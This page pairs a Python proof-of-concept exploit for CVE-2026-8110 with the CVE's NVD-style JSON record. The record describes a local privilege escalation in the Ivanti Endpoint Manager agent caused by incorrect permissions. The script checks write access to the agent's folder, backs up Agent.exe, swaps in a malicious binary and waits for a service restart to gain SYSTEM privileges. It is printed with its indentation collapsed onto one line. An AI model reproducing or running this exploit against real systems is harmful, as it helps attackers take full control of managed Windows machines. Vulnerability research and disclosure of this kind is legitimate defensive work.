CVE-2026-8110

import os import sys # Proof of Concept for CVE-2026-8110 # This script demonstrates replacing a vulnerable binary to achieve privilege escalation. # Note: For educational purposes only. def exploit(): # Path to the vulnerable agent binary (Hypothetical path) target_binary = r"C:\Program Files\Ivanti\Endpoint Manager Agent\Agent.exe" malicious_binary = r"C:\temp\malicious_agent.exe" if not os.path.exists(malicious_binary): print("[!] Malicious binary not found.") return try: # Check write access exploiting incorrect permissions if os.access(os.path.dirname(target_binary), os.W_OK): print(f"[+] Write access confirmed on target directory.") # Backup original os.rename(target_binary, target_binary + ".bak") print(f"[+] Original binary backed up.") # Replace binary os.replace(malicious_binary, target_binary) print(f"[+] Vulnerable binary replaced with malicious payload.") print("[*] Wait for service restart to gain SYSTEM privileges.") else: print("[-] No write access. Exploit failed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-8110", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2026-05-12T15:16:17.770", "lastModified": "2026-05-12T19:18:08.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "2022", "matchCriteriaId": "372561DA-DEAF-47DA-99B3-8BBBDADFD91A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*", "matchCriteriaId": "6C7283FE-C10A-4E37-B004-15FB0CAC49A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:*", "matchCriteriaId": "FC51EEA2-1C4C-4069-9704-7ACFE4773930"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:*", "matchCriteriaId": "E1EF5E1B-9377-49D3-9BE3-62FC78E666A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:*", "matchCriteriaId": "749AADDA-834D-4EC0-B7FF-E136FD1984F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "698BF7A1-62A1-45B5-BF08-AB3F3AA0245C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su4:*:*:*:*:*:*", "matchCriteriaId": "4902A745-E7CB-4FC9-9BCB-89EFAB643237"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su4_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "9DF8F788-0384-4E6B-844E-35ED79CA1F17"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su5:*:*:*:*:*:*", "matchCriteriaId": "BABFF9B3-92CE-4086-BE93-9A884F1210D5"}]}]}], "references": [{"url": "https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-May-2026?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}